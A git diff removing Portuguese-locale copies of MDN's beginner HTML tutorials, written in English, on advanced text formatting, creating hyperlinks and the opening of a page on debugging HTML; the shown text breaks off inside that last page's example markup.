diff --git a/files/pt-pt/learn/html/introduction_to_html/advanced_text_formatting/index.html b/files/pt-pt/learn/html/introduction_to_html/advanced_text_formatting/index.html deleted file mode 100644 index 009c2cb6c0..0000000000 --- a/files/pt-pt/learn/html/introduction_to_html/advanced_text_formatting/index.html +++ /dev/null @@ -1,692 +0,0 @@ ---- -title: Formatação avançada de texto -slug: Learn/HTML/Introduction_to_HTML/Advanced_text_formatting -tags: - - Aprender - - Guía - - HTML - - Principiante - - Texto - - abreviatura - - semántica -translation_of: Learn/HTML/Introduction_to_HTML/Advanced_text_formatting -original_slug: Learn/HTML/Introducao_ao_HTML/Formatacao_avancada_texto ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Creating_hyperlinks", "Learn/HTML/Introduction_to_HTML/Document_and_website_structure", "Learn/HTML/Introduction_to_HTML")}}
- -

There are many other elements in HTML for formatting text, which we didn't get to in the HTML text fundamentals article. The elements described in this article are less known, but still useful to know about (and this is still not a complete list by any means). Here you'll learn about marking up quotations, description lists, computer code and other related text, subscript and superscript, contact information, and more.

- - - - - - - - - - - - -
Prerequisites:Basic HTML familiarity, as covered in Getting started with HTML. HTML text formatting, as covered in HTML text fundamentals.
Objective:To learn how to use lesser-known HTML elements to mark up advanced semantic features.
- -

Description lists

- -

In HTML text fundamentals, we walked through how to mark up basic lists in HTML, but we didn't mention the third type of list you'll occasionally come across — description lists. The purpose of these lists is to mark up a set of items and their associated descriptions, such as terms and definitions, or questions and answers. Let's look at an example of a set of terms and definitions:

- -
soliloquy
-In drama, where a character speaks to themselves, representing their inner thoughts or feelings and in the process relaying them to the audience (but not to other characters.)
-monologue
-In drama, where a character speaks their thoughts out loud to share them with the audience and any other characters present.
-aside
-In drama, where a character shares a comment only with the audience for humorous or dramatic effect. This is usually a feeling, thought or piece of additional background information
- -

Description lists use a different wrapper than the other list types — {{htmlelement("dl")}}; in addition each term is wrapped in a {{htmlelement("dt")}} (description term) element, and each description is wrapped in a {{htmlelement("dd")}} (description definition) element. Let's finish marking up our example:

- -
<dl>
-  <dt>soliloquy</dt>
-  <dd>In drama, where a character speaks to themselves, representing their inner thoughts or feelings and in the process relaying them to the audience (but not to other characters.)</dd>
-  <dt>monologue</dt>
-  <dd>In drama, where a character speaks their thoughts out loud to share them with the audience and any other characters present.</dd>
-  <dt>aside</dt>
-  <dd>In drama, where a character shares a comment only with the audience for humorous or dramatic effect. This is usually a feeling, thought, or piece of additional background information.</dd>
-</dl>
- -

The browser default styles will display description lists with the descriptions indented somewhat from the terms. MDN's styles follow this convention fairly closely, but also embolden the terms for extra definition.

- -
-
soliloquy
-
In drama, where a character speaks to themselves, representing their inner thoughts or feelings and in the process relaying them to the audience (but not to other characters.)
-
monologue
-
In drama, where a character speaks their thoughts out loud to share them with the audience and any other characters present.
-
aside
-
In drama, where a character shares a comment only with the audience for humorous or dramatic effect. This is usually a feeling, thought or piece of additional background information.
-
- -

Note that it is permitted to have a single term with multiple descriptions, for example:

- -
-
aside
-
In drama, where a character shares a comment only with the audience for humorous or dramatic effect. This is usually a feeling, thought or piece of additional background information.
-
In writing, a section of content that is related to the current topic, but doesn't fit directly into the main flow of content so is presented nearby (often in a box off to the side.)
-
- -

Active learning: Marking up a set of definitions

- -

It's time to try your hand at description lists; add elements to the raw text in the Input field so that it appears as a description list in the Output field. You could try using your own terms and descriptions if you like.

- -

If you make a mistake, you can always reset it using the Reset button. If you get really stuck, press the Show solution button to see the answer.

- - - -

{{ EmbedLiveSample('Playable_code', 700, 350, "", "", "hide-codepen-jsfiddle") }}

- -

Quotations

- -

HTML also has features available for marking up quotations; which element you use depends on whether you are marking up a block or inline quotation.

- -

Blockquotes

- -

If a section of block level content (be it a paragraph, multiple paragraphs, a list, etc.) is quoted from somewhere else, you should wrap it inside a {{htmlelement("blockquote")}} element to signify this, and include a URL pointing to the source of the quote inside a {{htmlattrxref("cite","blockquote")}} attribute. For example, the following markup is taken from the MDN <blockquote> element page:

- -
<p>The <strong>HTML <code>&lt;blockquote&gt;</code> Element</strong> (or <em>HTML Block
-Quotation Element</em>) indicates that the enclosed text is an extended quotation.</p>
- -

To turn this into a block quote, we would just do this:

- -
<blockquote cite="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/blockquote">
-  <p>The <strong>HTML <code>&lt;blockquote&gt;</code> Element</strong> (or <em>HTML Block
-  Quotation Element</em>) indicates that the enclosed text is an extended quotation.</p>
-</blockquote>
- -

Browser default styling will render this as an indented paragraph, as an indicator that it is a quote; MDN does this, but also adds some extra styling:

- -
-

The HTML <blockquote> Element (or HTML Block Quotation Element) indicates that the enclosed text is an extended quotation.

-
- -

Inline quotations

- -

Inline quotations work in exactly the same way, except that they use the {{htmlelement("q")}} element. For example, the below bit of markup contains a quotation from the MDN <q> page:

- -
<p>The quote element — <code>&lt;q&gt;</code> — is <q cite="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/q">intended
-for short quotations that don't require paragraph breaks.</q></p>
- -

Browser default styling will render this as normal text put in quotes to indicate a quotation, like so:

- -

The quote element — <q> — is intended for short quotations that don't require paragraph breaks.

- -

Citations

- -

The content of the {{htmlattrxref("cite","blockquote")}} attribute sounds useful, but unfortunately browsers, screenreaders, etc. don't really do much with it. There is no way to get the browser to display the contents of cite, without writing your own solution using JavaScript or CSS. If you want to make the source of the quotation available on the page you need to make it available in the text via a link or some other appropriate way.

- -

There is a {{htmlelement("cite")}} element, but this is meant to contain the title of the resource being quoted, e.g. the name of the book. There is no reason however why you couldn't link the text inside <cite> to the quote source in some way:

- -
<p>According to the <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/blockquote">
-<cite>MDN blockquote page</cite></a>:
-</p>
-
-<blockquote cite="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/blockquote">
-  <p>The <strong>HTML <code>&lt;blockquote&gt;</code> Element</strong> (or <em>HTML Block
-  Quotation Element</em>) indicates that the enclosed text is an extended quotation.</p>
-</blockquote>
-
-<p>The quote element — <code>&lt;q&gt;</code> — is <q cite="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/q">intended
-for short quotations that don't require paragraph breaks.</q> -- <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/q">
-<cite>MDN q page</cite></a>.</p>
- -

Citations are styled in italic font by default. You can see this code at work in our quotations.html example.

- -

Active learning: Who said that?

- -

Time for another active learning example! In this example we'd like you to:

- -
    -
  1. Turn the middle paragraph into a blockquote, which includes a cite attribute.
  2. -
  3. Turn part of the third paragraph into an inline quote, which includes a cite attribute.
  4. -
  5. Include a <cite> element for each link to say what the title of the quoted source is.
  6. -
- -

The citation sources you need are:

- -
    -
  • http://www.brainyquote.com/quotes/authors/c/confucius.html for the Confucius quote
  • -
  • http://www.affirmationsforpositivethinking.com/index.htm for "The Need To Eliminate Negative Self Talk".
  • -
- -

If you make a mistake, you can always reset it using the Reset button. If you get really stuck, press the Show solution button to see the answer.

- - - -

{{ EmbedLiveSample('Playable_code_2', 700, 450, "", "", "hide-codepen-jsfiddle") }}

- -

Abbreviations

- -

Another fairly common element you'll meet when looking around the Web is {{htmlelement("abbr")}} — this is used to wrap around an abbreviation or acronym, and provide a full expansion of the term (included inside a {{htmlattrxref("title")}} attribute.) Let's look at a couple of examples:

- -
<p>We use <abbr title="Hypertext Markup Language">HTML</abbr> to structure our web documents.</p>
-
-<p>I think <abbr title="Reverend">Rev.</abbr> Green did it in the kitchen with the chainsaw.</p>
- -

These will come out looking something like this (the expansion will appear in a tooltip when the term is hovered over):

- -

We use HTML to structure our web documents.

- -

I think Rev. Green did it in the kitchen with the chainsaw.

- -
-

Note: There is another element, {{htmlelement("acronym")}}, which basically does the same thing as <abbr>, and was intended specifically for acronyms rather than abbreviations. This however has fallen into disuse — it wasn't supported in browsers as well as <abbr>, and has such a similar function that it was considered pointless to have both. Just use <abbr> instead.

-
- -

Active learning: marking up an abbreviation

- -

For this simple active learning assignment, we'd like you to simply mark up an abbreviation. You can use our sample below, or replace it with one of your own. 

- - - -

{{ EmbedLiveSample('Playable_code_3', 700, 300, "", "", "hide-codepen-jsfiddle") }}

- -

Marking up contact details

- -

HTML has an element for marking up contact details — {{htmlelement("address")}}. This simply wraps around your contact details, for example:

- -
<address>
-  <p>Chris Mills, Manchester, The Grim North, UK</p>
-</address>
- -

One thing to remember however is that the {{htmlelement("address")}} element is meant for marking up the contact details of the person who wrote the HTML document, not any address. So the above would only be ok if Chris had written the document the markup appears on. Note that something like this would also be ok:

- -
<address>
-  <p>Page written by <a href="../authors/chris-mills/">Chris Mills</a>.</p>
-</address>
- -

Superscript and subscript

- -

You will occasionally need to use superscript and subscript when marking up items like dates, chemical formulae, and mathematical equations so they have the correct meaning. The {{htmlelement("sup")}} and {{htmlelement("sub")}} elements handle this job. For example:

- -
<p>My birthday is on the 25<sup>th</sup> of May 2001.</p>
-<p>Caffeine's chemical formula is C<sub>8</sub>H<sub>10</sub>N<sub>4</sub>O<sub>2</sub>.</p>
-<p>If x<sup>2</sup> is 9, x must equal 3 or -3.</p>
- -

The output of this code looks like so:

- -

My birthday is on the 25th of May 2001.

- -

Caffeine's chemical formula is C8H10N4O2.

- -

If x2 is 9, x must equal 3 or -3.

- -

Representing computer code

- -

There are a number of elements available for marking up computer code using HTML:

- -
    -
  • {{htmlelement("code")}}: For marking up generic pieces of computer code.
  • -
  • {{htmlelement("pre")}}: For retaining whitespace (generally code blocks) — if you use indentation or excess whitespace inside your text, browsers will ignore it and you will not see it on your rendered page. If you wrap the text in <pre></pre> tags however, your whitespace will be rendered identically to how you see it in your text editor.
  • -
  • {{htmlelement("var")}}: For specifically marking up variable names.
  • -
  • {{htmlelement("kbd")}}: For marking up keyboard (and other types of) input entered into the computer.
  • -
  • {{htmlelement("samp")}}: For marking up the output of a computer program.
  • -
- -

Let's look at a few examples. You should try having a play with these (try grabbing a copy of our other-semantics.html sample file):

- -
<pre><code>var para = document.querySelector('p');
-
-para.onclick = function() {
-  alert('Owww, stop poking me!');
-}</code></pre>
-
-<p>You shouldn't use presentational elements like <code>&lt;font&gt;</code> and <code>&lt;center&gt;</code>.</p>
-
-<p>In the above JavaScript example, <var>para</var> represents a paragraph element.</p>
-
-
-<p>Select all the text with <kbd>Ctrl</kbd>/<kbd>Cmd</kbd> + <kbd>A</kbd>.</p>
-
-<pre>$ <kbd>ping mozilla.org</kbd>
-<samp>PING mozilla.org (63.245.215.20): 56 data bytes
-64 bytes from 63.245.215.20: icmp_seq=0 ttl=40 time=158.233 ms</samp></pre>
- -

The above code will look like so:

- -

{{ EmbedLiveSample('Representing_computer_code','100%',300, "", "", "hide-codepen-jsfiddle") }}

- -

Marking up times and dates

- -

HTML also provides the {{htmlelement("time")}} element for marking up times and dates in a machine-readable format. For example:

- -
<time datetime="2016-01-20">20 January 2016</time>
- -

Why is this useful? Well, there are many different ways that humans write down dates. The above date could be written as:

- -
    -
  • 20 January 2016
  • -
  • 20th January 2016
  • -
  • Jan 20 2016
  • -
  • 20/01/16
  • -
  • 01/20/16
  • -
  • The 20th of next month
  • -
  • 20e Janvier 2016
  • -
  • 2016年1月20日
  • -
  • And so on
  • -
- -

But these different forms cannot be easily recognised by computers — what if you wanted to automatically grab the dates of all events in a page and insert them into a calendar? The {{htmlelement("time")}} element allows you to attach an unambiguous, machine-readable time/date for this purpose.

- -

The basic example above just provides a simple machine readable date, but there are many other options that are possible, for example:

- -
<!-- Standard simple date -->
-<time datetime="2016-01-20">20 January 2016</time>
-<!-- Just year and month -->
-<time datetime="2016-01">January 2016</time>
-<!-- Just month and day -->
-<time datetime="01-20">20 January</time>
-<!-- Just time, hours and minutes -->
-<time datetime="19:30">19:30</time>
-<!-- You can do seconds and milliseconds too! -->
-<time datetime="19:30:01.856">19:30:01.856</time>
-<!-- Date and time -->
-<time datetime="2016-01-20T19:30">7.30pm, 20 January 2016</time>
-<!-- Date and time with timezone offset-->
-<time datetime="2016-01-20T19:30+01:00">7.30pm, 20 January 2016 is 8.30pm in France</time>
-<!-- Calling out a specific week number-->
-<time datetime="2016-W04">The fourth week of 2016</time>
- -

Summary

- -

That marks the end of our study of HTML text semantics. Bear in mind that what you have seen during this course is not an exhaustive list of HTML text elements — we wanted to try to cover the essentials, and some of the more common ones you will see in the wild, or at least might find interesting. To find way more HTML elements, you can take a look at our HTML element reference (the Inline text semantics section would be a great place to start.) In the next article we will look at the HTML elements you'd use to structure the different parts of an HTML document.

- -

{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Creating_hyperlinks", "Learn/HTML/Introduction_to_HTML/Document_and_website_structure", "Learn/HTML/Introduction_to_HTML")}}

- -

 

- -

In this module

- - - -

 

diff --git a/files/pt-pt/learn/html/introduction_to_html/creating_hyperlinks/index.html b/files/pt-pt/learn/html/introduction_to_html/creating_hyperlinks/index.html deleted file mode 100644 index 2e7a228447..0000000000 --- a/files/pt-pt/learn/html/introduction_to_html/creating_hyperlinks/index.html +++ /dev/null @@ -1,332 +0,0 @@ ---- -title: Criar hiperligações -slug: Learn/HTML/Introduction_to_HTML/Creating_hyperlinks -tags: - - Aprender - - Guía - - HTML - - HTTP - - Hiperligações - - Principiante - - URL - - título -translation_of: Learn/HTML/Introduction_to_HTML/Creating_hyperlinks -original_slug: Learn/HTML/Introducao_ao_HTML/Criar_hiperligacoes ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals", "Learn/HTML/Introduction_to_HTML/Advanced_text_formatting", "Learn/HTML/Introduction_to_HTML")}}
- -

Hyperlinks are really important — they are what makes the Web a web. This article shows the syntax required to make a link, and discusses link best practices.

- - - - - - - - - - - - -
Prerequisites:Basic HTML familiarity, as covered in Getting started with HTML. HTML text formatting, as covered in HTML text fundamentals.
Objective:To learn how to implement a hyperlink effectively, and link multiple files together.
- - - -

Hyperlinks are one of the most exciting innovations the Web has to offer. Well, they've been a feature of the Web since the very beginning, but they are what makes the Web a Web — they allow us to link our documents to any other document (or other resource) we want to, we can also link to specific parts of documents, and we can make apps available at a simple web address (contrast this to native apps, which have to be installed and all that business.) Just about any web content can be converted to a link, so that when clicked (or otherwise activated) it will make the web browser go to another web address ({{glossary("URL")}}).

- -
-

Note: A URL can point to HTML files, text files, images, text documents, video and audio files, and anything else that can live on the Web. If the web browser doesn't know how to display or handle the file, it will ask you if you want to open the file (in which case the duty of opening or handling the file is passed to a suitable native app on the device) or download the file (in which case you can try to deal with it later on.)

-
- -

The BBC homepage, for example, contains a large number of links that point not only to multiple news stories, but also different areas of the site (navigation functionality), login/registration pages (user tools) and more.

- -

frontpage of bbc.co.uk, showing many news items, and navigation menu functionality

- - - -

A basic link is created by wrapping the text (or other content, see {{anch("Block level links")}}) you want to turn into a link inside an {{htmlelement("a")}} element, and giving it an {{htmlattrxref("href", "a")}} attribute (also known as a Hypertext Reference , or target) that will contain the web address you want the link to point to.

- -
<p>I'm creating a link to
-<a href="https://www.mozilla.org/en-US/">the Mozilla homepage</a>.
-</p>
- -

This gives us the following result:

- -

I'm creating a link to the Mozilla homepage.

- -

Adding supporting information with the title attribute

- -

Another attribute you may want to add to your links is title; this is intended to contain supplementary useful information about the link, such as what kind of information the page contains, or things to be aware of. For example:

- -
<p>I'm creating a link to
-<a href="https://www.mozilla.org/en-US/"
-   title="The best place to find more information about Mozilla's
-          mission and how to contribute">the Mozilla homepage</a>.
-</p>
- -

This gives us the following result (the title will come up as a tooltip when the link is hovered over):

- -

I'm creating a link to the Mozilla homepage.

- -
-

Note: A link title is only revealed on mouse hover, which means that people relying on keyboard controls to navigate web pages will have difficulty accessing title information. If a title's information is truly important to the usability of page, then you should present it in a manner that will be accessible to all users, for example by putting it in the regular text.

-
- - - -

Active learning time: we'd like you to create an HTML document using your local code editor (our getting started template would do just fine.)

- -
    -
  • Inside the HTML body, try adding one or more paragraphs or other types of content you already know about.
  • -
  • Turn some of the content into links.
  • -
  • Include title attributes.
  • -
- - - -

As mentioned before, you can turn just about any content into a link, even block level elements. If you had an image you wanted to turn into a link, you could just put the image between <a></a> tags.

- -
<a href="https://www.mozilla.org/en-US/">
-  <img src="mozilla-image.png" alt="mozilla logo that links to the mozilla homepage">
-</a>
- -
-

Note: You'll find out a lot more about using images on the Web in a future article.

-
- -

A quick primer on URLs and paths

- -

To fully understand link targets, you need to understand URLs and file paths. This section gives you the information you need to achieve this.

- -

A URL, or Uniform Resource Locator is simply a string of text that defines where something is located on the Web. For example Mozilla's English homepage is located at https://www.mozilla.org/en-US/.

- -

URLs use paths to find files. Paths specify where in the filesystem the file you are interested in is located. Let's look at a simple example of a directory structure (see the creating-hyperlinks directory.)

- -

A simple directory structure. The parent directory is called creating-hyperlinks and contains two files called index.html and contacts.html, and two directories called projects and pdfs, which contain an index.html and a project-brief.pdf file, respectively

- -

The root of this directory structure is called creating-hyperlinks. When working locally with a web site, you will have one directory that the whole site goes inside. Inside the root, we have an index.html file and a contacts.html. In a real website, index.html would be our home page or landing page (a web page that serves as the entry point for a website or a particular section of a website.).

- -

There are also two directories inside our root — pdfs and projects. These each have a single file inside them — a PDF (project-brief.pdf) and an index.html file, respectively. Note how you can quite happily have two index.html files in one project as long as they are in different locations in the filesystem. Many web sites do. The second index.html would perhaps be the main landing page for project-related information.

- -
    -
  • -

    Same directory: If you wanted to include a hyperlink inside index.html (the top level index.html) pointing to contacts.html, you would just need to specify the filename of the file you want to link to, as it is in the same directory as the current file. So the URL you would use is contacts.html:

    - -
    <p>Want to contact a specific staff member?
    -Find details on our <a href="contacts.html">contacts page</a>.</p>
    -
  • -
  • -

    Moving down into subdirectories: If you wanted to include a hyperlink inside index.html (the top level index.html) pointing to projects/index.html, you would need to go down into the projects directory before indicating the file you want to link to. This is done by specifying the directory's name, then a forward slash, then the name of the file. so the URL you would use is projects/index.html:

    - -
    <p>Visit my <a href="projects/index.html">project homepage</a>.</p>
    -
  • -
  • -

    Moving back up into parent directories: If you wanted to include a hyperlink inside projects/index.html pointing to pdfs/project-brief.pdf, you'd have to go up a directory level, then back down into the pdf directory. "Go up a directory" is indicated using two dots — .. — so the URL you would use is ../pdfs/project-brief.pdf:

    - -
    <p>A link to my <a href="../pdfs/project-brief.pdf">project brief</a>.</p>
    -
  • -
- -
-

Note: You can combine multiple instances of these features into complex URLs, if needed, e.g. ../../../complex/path/to/my/file.html.

-
- -

Document fragments

- -

It is possible to link to a specific part of an HTML document (known as a document fragment), rather than just to the top of the document. To do this you first have to assign an {{htmlattrxref("id")}} attribute to the element you want to link to. It normally makes sense to link to a specific heading, so this would look something like the following:

- -
<h2 id="Mailing_address">Mailing address</h2>
- -

Then to link to that specific id, you'd include it at the end of the URL, preceded by a hash/pound symbol, for example:

- -
<p>Want to write us a letter? Use our <a href="contacts.html#Mailing_address">mailing address</a>.</p>
- -

You can even use the document fragment reference on its own to link to another part of the same document:

- -
<p>The <a href="#Mailing_address">company mailing address</a> can be found at the bottom of this page.</p>
- -

Absolute versus relative URLs

- -

Two terms you'll come across on the Web are absolute URL and relative URL:

- -

absolute URL: Points to a location defined by its absolute location on the web, including {{glossary("protocol")}} and {{glossary("domain name")}}. So for example, if an index.html page is uploaded to a directory called projects that sits inside the root of a web server, and the web site's domain is http://www.example.com, the page would be available at http://www.example.com/projects/index.html (or even just http://www.example.com/projects/, as most web servers just look for a landing page such as index.html to load if it is not specified in the URL.)

- -

An absolute URL will always point to the same location, no matter where it is used.

- -

relative URL: Points to a location that is relative to the file you are linking from, more like what we looked at in the previous section. For example, if we wanted to link from our example file at http://www.example.com/projects/index.html to a PDF file in the same directory, the URL would just be the filename — e.g. project-brief.pdf — no extra information needed. If the PDF was available in a subdirectory inside projects called pdfs, the relative link would be pdfs/project-brief.pdf (the equivalent absolute URL would be http://www.example.com/projects/pdfs/project-brief.pdf.)

- -

A relative URL will point to different places depending on where the file it is used inside is located — for example if we moved our index.html file out of the projects directory and into the root of the web site (the top level, not in any directories), the pdfs/project-brief.pdf relative URL link inside it would now point to a file located at http://www.example.com/pdfs/project-brief.pdf, not a file located at http://www.example.com/projects/pdfs/project-brief.pdf.

- -

Of course, the location of the project-brief.pdf file and pdfs folder won't suddenly change because you moved the index.html file — this would make your link point to the wrong place, so it wouldn't work if clicked on. You need to be careful!

- - - -

There are some best practices to follow when writing links. Let's look at these now.

- -
    -
- - - -

It's easy to throw links up on your page. That's not enough. We need to make our links accessible to all readers, regardless of their current context and which tools they prefer. For example:

- -
    -
  • Screenreader users like jumping around from link to link on the page, and reading links out of context.
  • -
  • Search engines use link text to index target files, so it is a good idea to include keywords in your link text to effectively describe what is being linked to.
  • -
  • Visual readers skim over the page rather than reading every word, and their eyes will be drawn to page features that stand out, like links. They will find descriptive link text useful.
  • -
- -

Let's look at a specific example:

- -

Good link text: Download Firefox

- -
<p><a href="https://firefox.com/">
-  Download Firefox
-</a></p>
- -

Bad link text: Click here to download Firefox

- -
<p><a href="https://firefox.com/">
-  Click here
-</a>
-to download Firefox</p>
-
- -

Other tips:

- -
    -
  • Don't repeat the URL as part of the link text — URLs look ugly, and sound even uglier when a screen reader reads them out letter by letter.
  • -
  • Don't say "link" or "links to" in the link text — it's just noise. Screen readers tell people there's a link. Visual users will also know there's a link, because links are generally styled in a different colour and underlined (this convention generally shouldn't be broken, as users are so used to it.)
  • -
  • Keep your link label as short as possible — long links especially annoy screen reader users, who have to hear the whole thing read out.
  • -
  • Minimize instances where multiple copies of the same text are linked to different places. This can cause problems for screenreader users, who will often bring up a list of the links out of context — several links all labelled "click here", "click here", "click here" would be confusing.
  • -
- - - -

From the description above, you might think that it is a good idea to just use absolute links all the time; after all, they don't break when a page is moved like relative links. However, you should use relative links wherever possible when linking to other locations within the same website (when linking to another website, you will need to use an absolute link):

- -
    -
  • For a start, it is a lot easier to scan your code — relative URLs are generally a lot shorter than absolute URLs, which makes reading code much easier.
  • -
  • Second, it is more efficient to use relative URLs wherever possible. When you use an absolute URL, the browser starts by looking up the real location of the server on the Domain Name System ({{glossary("DNS")}}; see How the web works for more information), then it goes to that server and finds the file that is being requested. With a relative URL on the other hand, the browser just looks up the file that is being requested, on the same server. So if you use absolute URLs where relative URLs would do, you are constantly making your browser do extra work, meaning that it will perform less efficiently.
  • -
- -

Linking to non-HTML resources — leave clear signposts

- -

When linking to a resource that will be downloaded (like a PDF or Word document) or streamed (like video or audio) or has another potentially unexpected effect (opens a popup window, or loads a Flash movie), you should add clear wording to reduce any confusion. It can be quite annoying for example:

- -
    -
  • If you are on a low bandwidth connection, click a link and then a multiple megabyte download starts unexpectedly.
  • -
  • If you haven't got the Flash player installed, click a link and then suddenly get taken to a page that requires Flash.
  • -
- -

Let's look at some examples, to see what kind of text can be used here:

- -
<p><a href="http://www.example.com/large-report.pdf">
-  Download the sales report (PDF, 10MB)
-</a></p>
-
-<p><a href="http://www.example.com/video-stream/" target="_blank">
-  Watch the video (stream opens in separate tab, HD quality)
-</a></p>
-
-<p><a href="http://www.example.com/car-game">
-  Play the car game (requires Flash)
-</a></p>
- -

Use the download attribute when linking to a download

- -

When you are linking to a resource that is to be downloaded rather than opened in the browser, you can use the download attribute to provide a default save filename. Here's an example with a download link to the latest Windows version of Firefox:

- -
<a href="https://download.mozilla.org/?product=firefox-latest-ssl&os=win64&lang=en-US"
-   download="firefox-latest-64bit-installer.exe">
-  Download Latest Firefox for Windows (64-bit) (English, US)
-</a>
- -

Active learning: creating a navigation menu

- -

For this exercise, we'd like you to link some pages together with a navigation menu to create a multi-page website. This is one common way in which a website is created — the same page structure is used on every page, including the same navigation menu, so when links are clicked it gives the impression that you are staying in the same place, and different content is being brought up.

- -

You'll need to make local copies of the following four pages, all in the same directory (see also the navigation-menu-start directory for a full file listing):

- - - -

You should:

- -
    -
  1. Add an unordered list in the indicated place on one page, containing the names of the pages to link to. A navigation menu is usually just a list of links, so this is semantically ok.
  2. -
  3. Turn each page name into a link to that page.
  4. -
  5. Copy the navigation menu across to each page.
  6. -
  7. On each page, remove just the link to that same page — it is confusing and pointless for a page to include a link to itself, and the lack of a link acts a good visual reminder of what page you are currently on.
  8. -
- -

The finished example should end up looking something like this:

- -

An example of a simple HTML navigation menu, with home, pictures, projects, and social menu items

- -
-

Note: If you get stuck, or are not sure if you have got it right, you can check the navigation-menu-marked-up directory to see the correct answer.

-
- - - -

It is possible to create links or buttons that, when clicked, open a new outgoing email message rather than linking to a resource or page. This is done using the {{HTMLElement("a")}} element and the mailto: URL scheme.

- -

In its most basic and commonly used form, a mailto: link simply indicates the email address of the intended recipient. For example:

- -
<a href="mailto:nowhere@mozilla.org">Send email to nowhere</a>
-
- -

This results in a link that looks like this: Send email to nowhere.

- -

In fact, the email address is even optional. If you leave it out (that is, your {{htmlattrxref("href", "a")}} is simply "mailto:"), a new outgoing email window will be opened by the user's mail client that has no destination address specified yet. This is often useful as "Share" links that users can click to send an email to an address of their choosing.

- -

Specifying details

- -

In addition to the email address, you can provide other information. In fact, any standard mail header fields can be added to the mailto URL you provide. The most commonly used of these are "subject", "cc", and "body" (which is not a true header field, but allows you to specify a short content message for the new email). Each field and its value is specified as a query term.

- -

Here's an example that includes a cc, bcc, subject and body:

- -
<a href="mailto:nowhere@mozilla.org?cc=name2@rapidtables.com&bcc=name3@rapidtables.com&subject=The%20subject%20of%20the%20email&body=The%20body%20of%20the%20email">
-  Send mail with cc, bcc, subject and body
-</a>
- -
-

Note: The values of each field must be URL-encoded, that is with non-printing characters (invisible characters like tabs, carriage returns, and page breaks) and spaces percent-escaped. Also note the use of the question mark (?) to separate the main URL from the field values, and ampersands (&) to separate each field in the mailto: URL. This is standard URL query notation. Read The GET method to understand what URL query notation is more comonly used for.

-
- -

Here are a few other sample mailto URLs:

- - - -

Summary

- -

That's it for links, for now anyway! You'll return to links later on in the course when you start to look at styling them. Next up for HTML, we'll return to text semantics and look at some more advanced/unusual features that you'll find useful — Advanced text formatting is your next stop.

- -

{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals", "Learn/HTML/Introduction_to_HTML/Advanced_text_formatting", "Learn/HTML/Introduction_to_HTML")}}

- -

In this module

- - diff --git a/files/pt-pt/learn/html/introduction_to_html/debugging_html/index.html b/files/pt-pt/learn/html/introduction_to_html/debugging_html/index.html deleted file mode 100644 index fe3a77d5df..0000000000 --- a/files/pt-pt/learn/html/introduction_to_html/debugging_html/index.html +++ /dev/null @@ -1,187 +0,0 @@ ---- -title: Depurar HTML -slug: Learn/HTML/Introduction_to_HTML/Debugging_HTML -tags: - - Depuração - - Erro - - Guía - - HTML - - Principiante - - Validação -translation_of: Learn/HTML/Introduction_to_HTML/Debugging_HTML -original_slug: Learn/HTML/Introducao_ao_HTML/Depurar_HTML ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Document_and_website_structure", "Learn/HTML/Introduction_to_HTML/Marking_up_a_letter", "Learn/HTML/Introduction_to_HTML")}}
- -

Writing HTML is fine, but what if something goes wrong, and you can't work out where the error in the code is? This article will introduce you to some tools that can help you find and fix errors in HTML.

- - - - - - - - - - - - -
Prerequisites:HTML familiarity, as covered in for example Getting started with HTML, HTML text fundamentals, and Creating hyperlinks.
Objective:Learn the basics of using debugging tools to find problems in HTML.
- -

Debugging isn't scary

- -

When writing code of some kind, everything is usually fine, until that dreaded moment when an error occurs — you've done something wrong, so your code doesn't work — either not at all, or not quite how you wanted it to. For example, the following shows an error reported when trying to {{glossary("compile")}} a simple program written in the Rust language.

- -

A console window showing the result of trying to compile a rust program with a missing quote around a string in a print statement. The error message reported is error: unterminated double quote string.Here, the error message is relatively easy to understand — "unterminated double quote string". If you look at the listing, you can probably see how println!(Hello, world!"); might logically be missing a double quote. However, error messages can quickly get more complicated and less easy to interpret as programs get bigger, and even simple cases can look a little intimidating to someone who doesn't know anything about Rust.

- -

Debugging doesn't have to be scary though —  the key to being comfortable with writing and debugging any programming language or code is familiarity with both the language and the tools.

- -

HTML and debugging

- -

HTML is not as complicated to understand as Rust. HTML is not compiled into a different form before the browser parses it and shows the result (it is interpreted, not compiled). And HTML's {{glossary("element")}} syntax is arguably a lot easier to understand than a "real programming language" like Rust, {{glossary("JavaScript")}}, or {{glossary("Python")}}. The way that browsers parse HTML is a lot more permissive than how programming languages are run, which is both a good and a bad thing.

- -

Permissive code

- -

So what do we mean by permissive? Well, generally when you do something wrong in code, there are two main types of error that you'll come across:

- -
    -
  • Syntax errors: These are spelling errors in your code that actually cause the program not to run, like the Rust error shown above. These are usually easy to fix as long as you are familiar with the language's syntax and know what the error messages mean.
  • -
  • Logic errors: These are errors where the syntax is actually correct, but the code is not what you intended it to be, meaning that program runs incorrectly. These are often harder to fix than syntax errors, as there isn't an error message to direct you to the source of the error.
  • -
- -

HTML itself doesn't suffer from syntax errors because browsers parse it permissively, meaning that the page still displays even if there are syntax errors. Browsers have built-in rules to state how to interpret incorrectly written markup, so you'll get something running, even if it is not what you expected. This, of course, can still be a problem!

- -
-

Note: HTML is parsed permissively because when the web was first created, it was decided that allowing people to get their content published was more important than making sure the syntax was absolutely correct. The web would probably not be as popular as it is today, if it had been more strict from the very beginning.

-
- -

Active learning: Studying permissive code

- -

It's time to study the permissive nature of HTML code.

- -
    -
  1. First, download our debug-example demo and save it locally. This demo is deliberately written to have some errors in it for us to explore (the HTML markup is said to be badly-formed, as opposed to well-formed).
  2. -
  3. Next, open it in a browser. You will see something like this:A simple HTML document with a title of HTML debugging examples, and some information about common HTML errors, such as unclosed elements, badly nested elements, and unclosed attributes.
  4. -
  5. This immediately doesn't look great; let's look at the source code to see if we can work out why (only the body contents are shown): -
    <h1>HTML debugging examples</h1>
    -
    -<p>What causes errors in HTML?
    -
    -<ul>
